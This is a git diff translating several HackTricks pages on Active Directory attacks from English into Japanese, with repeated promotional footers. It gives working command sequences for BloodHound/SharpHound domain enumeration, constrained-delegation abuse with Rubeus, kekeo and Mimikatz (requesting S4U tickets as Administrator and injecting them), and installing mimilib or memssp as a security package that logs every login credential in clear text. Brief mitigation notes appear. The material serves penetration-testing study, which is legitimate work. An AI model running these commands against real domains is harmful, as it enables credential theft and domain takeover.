+したがって、[Bloodhound](https://github.com/BloodHoundAD/BloodHound)は、ドメインを自動的に列挙し、すべての情報を保存し、特権エスカレーションの可能な経路を見つけ、グラフを使用してすべての情報を表示することができる素晴らしいツールです。 -Booldhound is composed of 2 main parts: **ingestors** and the **visualisation application**. +Bloodhoundは、**インジェストツール**と**可視化アプリケーション**の2つの主要な部分で構成されています。 -The **ingestors** are used to **enumerate the domain and extract all the information** in a format that the visualisation application will understand. +**インジェストツール**は、ドメインを列挙し、可視化アプリケーションが理解できる形式ですべての情報を抽出するために使用されます。 -The **visualisation application uses neo4j** to show how all the information is related and to show different ways to escalate privileges in the domain. +**可視化アプリケーションはneo4jを使用**して、情報の関連性を表示し、ドメイン内で特権をエスカレーションするための異なる方法を示します。 -### Installation +### インストール 1. Bloodhound -To install the visualisation application you will need to install **neo4j** and the **bloodhound application**.\ -The easiest way to do this is just doing: - +可視化アプリケーションをインストールするには、**neo4j**と**bloodhoundアプリケーション**をインストールする必要があります。\ +これを簡単に行う方法は、次のようにします: ``` apt-get install bloodhound ``` +**ダウンロード**は[こちら](https://neo4j.com/download-center/#community)から**neo4jのコミュニティ版**をダウンロードできます。 -You can **download the community version of neo4j** from [here](https://neo4j.com/download-center/#community). +1. インジェスター -1. Ingestors - -You can download the Ingestors from: +インジェスターは以下からダウンロードできます: * https://github.com/BloodHoundAD/SharpHound/releases * https://github.com/BloodHoundAD/BloodHound/releases * https://github.com/fox-it/BloodHound.py -1. Learn the path from the graph +1. グラフからパスを学ぶ -Bloodhound come with various queries to highlight sensitive compromission path. It it possible to add custom queries to enhance the search and correlation between objects and more! +Bloodhoundには、機密性の高い侵害経路を強調するためのさまざまなクエリが用意されています。カスタムクエリを追加して、オブジェクト間の検索と相関関係を向上させることも可能です! -This repo has a nice collections of queries: https://github.com/CompassSecurity/BloodHoundQueries - -Installation process: +このリポジトリには、素晴らしいクエリのコレクションがあります:https://github.com/CompassSecurity/BloodHoundQueries +インストール手順: ``` $ curl -o "~/.config/bloodhound/customqueries.json" "https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json" ``` +### 可視化アプリの実行 -### Visualisation app Execution - -After downloading/installing the required applications, lets start them.\ -First of all you need to **start the neo4j database**: - +必要なアプリケーションをダウンロード/インストールした後、それらを起動しましょう。\ +まず、**neo4jデータベースを起動する必要があります**: ```bash ./bin/neo4j start #or service neo4j start ``` +初めてこのデータベースを起動する際には、[http://localhost:7474/browser/](http://localhost:7474/browser/) にアクセスする必要があります。デフォルトの資格情報(neo4j:neo4j)が求められ、**パスワードの変更が必要**ですので、変更して忘れないようにしてください。 -The first time that you start this database you will need to access [http://localhost:7474/browser/](http://localhost:7474/browser/). You will be asked default credentials (neo4j:neo4j) and you will be **required to change the password**, so change it and don't forget it. - -Now, start the **bloodhound application**: - +さて、**bloodhoundアプリケーション**を起動します。 ```bash ./BloodHound-linux-x64 #or bloodhound ``` +データベースの資格情報を入力するように求められます: **neo4j:\<新しいパスワード>** -You will be prompted for the database credentials: **neo4j:\** - -And bloodhound will be ready to ingest data. +そして、Bloodhoundはデータを取り込む準備ができます。 ![](<../../.gitbook/assets/image (171) (1).png>) ### SharpHound -They have several options but if you want to run SharpHound from a PC joined to the domain, using your current user and extract all the information you can do: - +いくつかのオプションがありますが、ドメインに参加しているPCからSharpHoundを実行し、現在のユーザーを使用してすべての情報を抽出する場合は、次のようにします: ``` ./SharpHound.exe --CollectionMethods All Invoke-BloodHound -CollectionMethod All ``` +> **CollectionMethod**についての詳細は[こちら](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html)で読むことができます。 -> You can read more about **CollectionMethod** and loop session [here](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html) - -If you wish to execute SharpHound using different credentials you can create a CMD netonly session and run SharpHound from there: - +異なる資格情報を使用してSharpHoundを実行したい場合は、CMD netonlyセッションを作成し、そこからSharpHoundを実行することができます。 ``` runas /netonly /user:domain\user "powershell.exe -exec bypass" ``` - -[**Learn more about Bloodhound in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux) +[**Bloodhoundについて詳しくは、ired.teamを参照してください。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux) **Windows Silent** ### **Python bloodhound** -If you have domain credentials you can run a **python bloodhound ingestor from any platform** so you don't need to depend on Windows.\ -Download it from [https://github.com/fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py) or doing `pip3 install bloodhound` - +ドメインの資格情報を持っている場合、**どのプラットフォームからでもPythonのBloodhoundインジェストツールを実行**することができるため、Windowsに依存する必要はありません。\ +[https://github.com/fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py)からダウンロードするか、`pip3 install bloodhound`を実行してください。 ```bash bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all ``` - -If you are running it through proxychains add `--dns-tcp` for the DNS resolution to work throught the proxy. - +もしproxychainsを使って実行している場合は、DNS解決がプロキシを通じて動作するように`--dns-tcp`を追加してください。 ```bash proxychains bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all --dns-tcp ``` - ### Python SilentHound -This script will **quietly enumerate an Active Directory Domain via LDAP** parsing users, admins, groups, etc. +このスクリプトは、LDAPを介してActive Directoryドメインを**静かに列挙**し、ユーザー、管理者、グループなどを解析します。 -Check it out in [**SilentHound github**](https://github.com/layer8secure/SilentHound). +[**SilentHoundのgithub**](https://github.com/layer8secure/SilentHound)で確認してください。 ### RustHound -BloodHound in Rust, [**check it here**](https://github.com/OPENCYBER-FR/RustHound). +Rustで作られたBloodHound、[**こちらで確認してください**](https://github.com/OPENCYBER-FR/RustHound)。 ## Group3r -[**Group3r**](https://github.com/Group3r/Group3r) **** is a tool to find **vulnerabilities** in Active Directory associated **Group Policy**. \ -You need to **run group3r** from a host inside the domain using **any domain user**. - +[**Group3r**](https://github.com/Group3r/Group3r)は、Active Directoryに関連する**グループポリシー**の**脆弱性**を見つけるためのツールです。\ +**ドメイン内のホストから任意のドメインユーザー**を使用して、group3rを実行する必要があります。 ```bash -group3r.exe -f +group3r.exe -f # -s sends results to stdin # -f send results to file ``` - ## PingCastle -****[**PingCastle**](https://www.pingcastle.com/documentation/) **evaluates the security posture of an AD environment** and provides a nice **report** with graphs. +****[**PingCastle**](https://www.pingcastle.com/documentation/) **はAD環境のセキュリティポストを評価**し、グラフを含む**素晴らしいレポート**を提供します。 -To run it, can execute the binary `PingCastle.exe` and it will start an **interactive session** presenting a menu of options. The default option to use is **`healthcheck`** which will establish a baseline **overview** of the **domain**, and find **misconfigurations** and **vulnerabilities**. +実行するには、バイナリの`PingCastle.exe`を実行し、**対話セッション**が開始され、オプションのメニューが表示されます。使用するデフォルトのオプションは**`healthcheck`**で、**ドメイン**のベースライン**概要**を確立し、**設定ミス**と**脆弱性**を見つけます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/constrained-delegation.md b/windows-hardening/active-directory-methodology/constrained-delegation.md index 6ad2381ef..0acb34ea5 100644 --- a/windows-hardening/active-directory-methodology/constrained-delegation.md +++ b/windows-hardening/active-directory-methodology/constrained-delegation.md @@ -1,37 +1,37 @@ -# Constrained Delegation +# 制約付き委任
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Constrained Delegation +## 制約付き委任 -Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against a **service** of a machine. +これにより、ドメイン管理者はコンピュータをユーザーまたはコンピュータになりすませることができます。 -* **Service for User to self (**_**S4U2self**_**):** If a **service account** has a _userAccountControl_ value containing [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user. -* **Service for User to Proxy(**_**S4U2proxy**_**):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one. +* **ユーザー自身のサービス(**_**S4U2self**_**):** サービスアカウントが[TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)(T2A4D)を含む_userAccountControl_値を持っている場合、他のユーザーを代表して自分自身(サービス)のためにTGSを取得できます。 +* **プロキシユーザーのサービス(**_**S4U2proxy**_**):** サービスアカウントは、**msDS-AllowedToDelegateTo**に設定されたサービスに対して任意のユーザーのTGSを取得できます。そのためには、まずそのユーザーから自分自身へのTGSが必要ですが、他のTGSを要求する前にS4U2selfを使用してそのTGSを取得できます。 -**Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them. +**注意**: ADで「_アカウントは機密であり、委任できません_」とマークされている場合、そのユーザーをなりすますことはできません。 -This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to the **service configured** (possible **privesc**). +これは、サービスのハッシュを**侵害する**と、ユーザーをなりすまして**アクセス**を取得し、**構成されたサービス**(可能な**特権昇格**)にアクセスできることを意味します。 -Moreover, you **won't only have access to the service that the user is able to impersonate, but also to any service** because the SPN (the service name requested) is not being checked, only privileges. Therefore, if you have access to **CIFS service** you can also have access to **HOST service** using `/altservice` flag in Rubeus. +さらに、ユーザーがなりすますことができるサービスだけでなく、**任意のサービス**にもアクセスできます。なぜなら、SPN(要求されるサービス名)はチェックされておらず、特権のみがチェックされているからです。したがって、**CIFSサービス**にアクセスできる場合、Rubeusの`/altservice`フラグを使用して**HOSTサービス**にもアクセスできます。 -Also, **LDAP service access on DC**, is what is needed to exploit a **DCSync**. +また、**DC上のLDAPサービスへのアクセス**は、**DCSync**を悪用するために必要です。 -{% code title="Enumerate" %} +{% code title="列挙" %} ```bash # Powerview Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto @@ -40,9 +40,7 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed #ADSearch ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json ``` -{% endcode %} - -{% code title="Get TGT" %} +{% code title="TGTの取得" %} ```bash # The first step is to get a TGT of the service that can impersonate others ## If you are SYSTEM in the server, you might take it from memory @@ -64,12 +62,12 @@ tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140 {% endcode %} {% hint style="warning" %} -There are **other ways to obtain a TGT ticket** or the **RC4** or **AES256** without being SYSTEM in the computer like the Printer Bug and unconstrain delegation, NTLM relaying and Active Directory Certificate Service abuse +TGTチケットまたはRC4またはAES256をシステムではないコンピュータで取得する他の方法があります。プリンターバグと非制約委任、NTLMリレー、およびActive Directory証明書サービスの悪用などです。 -**Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.** +TGTチケット(またはハッシュ化されたチケット)があれば、コンピュータ全体を危険にさらすことなくこの攻撃を実行できます。 {% endhint %} -{% code title="Using Rubeus" %} +{% code title="Rubeusを使用する" %} ```bash #Obtain a TGS of the Administrator user to self .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator @@ -86,9 +84,7 @@ There are **other ways to obtain a TGT ticket** or the **RC4** or **AES256** wit #Load ticket in memory .\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local ``` -{% endcode %} - -{% code title="kekeo + Mimikatz" %} +{% code title="kekeo + Mimikatz(けけお + ミミカッツ)" %} ```bash #Obtain a TGT for the Constained allowed user tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d @@ -97,30 +93,30 @@ tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140 tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL #Load the TGS in memory -Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"' +Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"' ``` {% endcode %} -### Mitigation +### 対策 -* Disable kerberos delegation where possible -* Limit DA/Admin logins to specific services -* Set "Account is sensitive and cannot be delegated" for privileged accounts. +* 可能な限りKerberos委任を無効にする +* DA/Adminログインを特定のサービスに制限する +* 特権アカウントに対して「アカウントは機密情報であり、委任できません」と設定する。 -[**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation) +[**詳細はired.teamを参照してください。**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**しましょう。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/custom-ssp.md b/windows-hardening/active-directory-methodology/custom-ssp.md index fc6189a44..8f7453bbf 100644 --- a/windows-hardening/active-directory-methodology/custom-ssp.md +++ b/windows-hardening/active-directory-methodology/custom-ssp.md @@ -1,80 +1,72 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Custom SSP +# カスタムSSP -[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\ -You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine. +[ここでSSP(セキュリティサポートプロバイダ)とは何かを学びます。](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\ +自分自身のSSPを作成して、マシンへのアクセスに使用される資格情報を**クリアテキストでキャプチャ**することができます。 ### Mimilib -You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**\ -Drop the dll in `C:\Windows\System32\`\ -Get a list existing LSA Security Packages: +Mimikatzが提供する`mimilib.dll`バイナリを使用できます。**これにより、すべての資格情報がクリアテキストでファイルに記録されます。**\ +dllを`C:\Windows\System32\`にドロップします。\ +既存のLSAセキュリティパッケージのリストを取得します: {% code title="attacker@target" %} ```bash PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa - Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u +Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u ``` {% endcode %} -Add `mimilib.dll` to the Security Support Provider list (Security Packages): - +セキュリティサポートプロバイダリスト(セキュリティパッケージ)に`mimilib.dll`を追加します: ```csharp PS C:\> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" ``` +そして、再起動後、すべての資格情報は`C:\Windows\System32\kiwissp.log`に平文で見つけることができます。 -And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log` - -### In memory - -You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working): +### メモリ内 +また、Mimikatzを使用して直接メモリにインジェクトすることもできます(注意:少し不安定で動作しない場合があります)。 ```csharp privilege::debug misc::memssp ``` +これは再起動では生き残りません。 -This won't survive reboots. +## 緩和策 -## Mitigation - -Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages` +イベントID 4657 - `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages` の作成/変更の監査
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/windows-hardening/active-directory-methodology/dcshadow.md b/windows-hardening/active-directory-methodology/dcshadow.md index c568fdba6..56214ac8b 100644 --- a/windows-hardening/active-directory-methodology/dcshadow.md +++ b/windows-hardening/active-directory-methodology/dcshadow.md @@ -1,77 +1,69 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
